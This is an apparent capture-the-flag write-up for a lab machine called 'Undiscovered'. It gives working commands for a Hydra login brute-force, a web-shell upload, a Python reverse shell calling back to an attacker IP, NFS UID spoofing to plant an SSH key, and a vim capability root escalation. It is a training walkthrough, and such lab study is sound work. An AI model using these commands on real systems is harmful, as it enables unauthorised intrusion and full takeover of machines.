# Undiscovered

## Nmap

```
sudo nmap 10.10.144.20 -p- -sS -sV   

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs      2-4 (RPC #100003)
35619/tcp open  nlockmgr 1-4 (RPC #100021)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% hint style="info" %}
Add undiscovered.thm to /etc/hosts.
{% endhint %}

Browsing port 80 takes us to the following page below.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-04afc0611ae16d8340fbe48d6029ebc344c29186%2Fimage.png?alt=media)

From here I checked directories with dirsearch.py and was unable to discover anything of interest.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-7a50c784ac958d77ef17a1b2fa277aa3e9392f44%2Fimage.png?alt=media)

Checking NFS also proved futile as I was unable to show any mounts. From here we can check for sub domains with wfuzz.

```
wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://undiscovered.thm" -H "Host: FUZZ.undiscovered.thm" -t 42 --hl 9  
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-af3277c03ec02273f9a4d58a6b45e28d15817970%2Fimage.png?alt=media)

As we have results for multiple sub domains we should look for the key difference which is the lines returned where deliver and booking are of interest. Add both of these to the /etc/hosts file.

```
<IP> booking.undiscovered.thm
<IP> deliver.undiscovered.thm
```

Viewing booking.undiscovered.thm in the browser:

![http://booking.undiscovered.thm/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-80f8a318ef2d9e55dbcd4a9215d50b275ddeb465%2Fimage.png?alt=media)

And deliver.undiscovered.thm:

![http://deliver.undiscovered.thm/](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-cb57affe4e831e7e0f4acf8560b88a9cee914e4f%2Fimage.png?alt=media)

From here I ran enumeration with dirsearh.py against both sub domains and was unable to get anything from booking.undiscovered.thm. I was however able t get results on deliver.undiscovered.thm.

```
python3 dirsearch.py -u deliver.undiscovered.thm -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 75 --full-url 
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8cf07e11152baff7a5f49ec87e17687a401ef7e6%2Fimage.png?alt=media)

Over on /cms I tried logging in with the CMS default credentials of `admin:admin`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-22a109825f07f58b8e6adeb6a5bb9b309521cdee%2Fimage.png?alt=media)

I was however unsuccessful. I then caught the request with Firefox and used this to build a bruteforce attempt with Hydra.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-2fb8c024f7e8449590919efcf9572c0f85b2f846%2Fimage.png?alt=media)

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt  deliver.undiscovered.thm  http-post-form "/cms/index.php:username=^USER^&userpw=^PASS^:User unknown or password wrong" 
```

After a short while we get a valid response in Hydra.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8fd128a91c619363765b1b7bd5c25a029e95467e%2Fimage.png?alt=media)

Using searchsploit we can see RiteCMS 2.2.1 has a couple of authenticated RCE exploits.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-67efb7758a867477ef996d088783482fb675f8ca%2Fimage.png?alt=media)

{% embed url="https://www.exploit-db.com/exploits/48636" %}

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d63f0ab17bde62e41f65e5305bafe0a18af7fa4c%2Fimage.png?alt=media)

As per the listed steps head to Adminsitration > File Manager and upload a web shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-d9ce026d8ae9244c8a70e8a0601f14ac26ee032b%2Fimage.png?alt=media)

Once uploaded you will be given a direct link to the file. As per below we now have RCE.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8fb93c6ec64e00101936eb40c9cb70a21bd469b7%2Fimage.png?alt=media)

I then set a `netcat` listener on my attacking machine and then run the following command in the webshell.

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.3.108",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

Where we retrieve a proper reverse shell.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a0285cbf457cc9b45a3c72efec3b684161b42ca2%2Fimage.png?alt=media)

From I then transferred over linpeas. After we find the following below.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-215df2292e5b180e072e16b6284ddafbc35fe40b%2Fimage.png?alt=media)

We can mount the `/home/william` directory on our attacking machine. On the attacking machine run the commands below:

```
mkdir /mountpoint
sudo mount -t nfs undiscovered.thm:/home/william /mountpoint
```

When attempting to `cd` into `/mountpoint` we are given a access denied error. Viewing the permissions of `/mountpoint` shows that the owner and group owner are set as `nobody:4294967294`

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-975961b6f39dd26d8f5fec0e353b9f91f43ee807%2Fimage.png?alt=media)

This problem exists because of UID mapping. We need to ensure the user intended to access `/home/william` exists on the attacking machine with the same UID as on the target machine.

Checking /etc/passwd on the attacking machine we see william has a UID and GUID of 3003.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-6e6108f58dd2deb02a4213a0b817d14a29a52726%2Fimage.png?alt=media)

From here we can set up a user called william on our attacking machine with the same UID and GUID and then attempt to access the share again.

Creating a new user on the attacking machine:

```
sudo adduser william --home /home/william --shell /bin/bash --uid 3003
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-53eda7748e34db1f07d529bfdc1362cb180de460%2Fimage.png?alt=media)

We can `su` to william with the password defined in the last step and the `cd` into `/mountpoint`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-149ff726ebaec45b3f3b4340d82256ff22dd6a42%2Fimage.png?alt=media)

As we have effective access as the user william into his home directory we can set it up so we can SSH in as the user william.

On the attacking machine do:

```
ssh-keygen -t rsa
```

Complete the process without providing a password. Then create the `.ssh` directory in `/mountpoint` then echo the contents of the attacking machine `/home/kali/.ssh/id_rsa.pub` into `/mountpoint/.ssh/authorized_keys`.

On the attacking machine as the user william

```
mkdir /mountpoint/.ssh
```

Then echo the contents of `/home/kali/.ssh/id_rsa.pub`into `/mountpoint/.ssh/authorized_keys`

```
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnkejs7hzvX7ZyEMNckFFyhIWW4DvIHmQGlgqjkbIOjy4Z78VdAWDS27A/Z452X0di9h2TKuBUZKFh8x1z9hHV6XW6vtVtP4hhdesBDs9jG69weJwBwbJcQBLU9jJp/1Wjf6cn00LBSW1CcAakvE6mNgkUfe2puhlQMeo4EbtRp9qkIMDwIufeazi0+xFQSZkGs7KtaJr5XH24lw8Cf3P7deo9bgbvyhVqTomnZ39/9/yWS1/WiPxiMNJlHHLdGRzkyKWFpANbcmWGF9EGc+2jx3GKCmi5GeIdQVJM6Yj5Sy1bkmg6S6YvZWZ2JJg/Z7pa9Bl9/vvruypdQwuT34WqRskr7UYeERB9TFrC/gDgVQsqWjXs9OJInx4bGIbbXwTE0gZqRP3NaRUqD1Iair2gHlwrvxLERNJ7bt3jHOXdkto6DOz9HDyJzrrd82nCdwUIqPR5p2efPN0D33Ko/gQy486DwnWwBq+PHMhbEOHS99auL6xHFs/ja0xo2qOT4Hk= kali@kali' > authorized_keys
```

After doing so we can connect to SSH as the user william without providing a password.

```
ssh william@undiscovered.thm
```

After connecting and checking the directory again we see that script has a SUID bit set for the user leonard.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-c9d918904a25d693b57f75dc3f1987f5b902b8b4%2Fimage.png?alt=media)

Running the binary with the parameter 'test' shows an attempt to use `/bin/cat` to read from `/home/leonard/test`.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b567a87e94ddd0341481284c52b616dd69f5a605%2Fimage.png?alt=media)

We can try with the parameter `.ssh/id_rsa` to see if we can read a SSH private key.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-467e8f26a41ee00045da71b95648306e3753e550%2Fimage.png?alt=media)

We can then copy the key to our attacking machine and use the following command to set the correct permission on it.

```
 chmod 600 id_rsa
```

We can then SSH in as leonard ensuring the id\_rsa key is specified.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-f7ad15b3067c42e0dd20887a601a3b2c6ef37233%2Fimage.png?alt=media)

Now that we are leonard and running linpeas shows that vim.basic has cap\_setuid+ep set.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5bdf72c16948a2ca4e7b40482271b2004b41c9dd%2Fimage.png?alt=media)

Checking GTFOBins for vim capabilities.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8d16c8a0dae00058374043efd0337b1c756f6d1f%2Fimage.png?alt=media)

We see we need to edit the command a little bit here.

```
 /usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
```

Once connected in we need to escape from vim using `:!/bin/sh`

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-0c54e0f8fc3312d5279a55e0c93e09cc2c6e7fcc%2Fimage.png?alt=media)

We are now root.
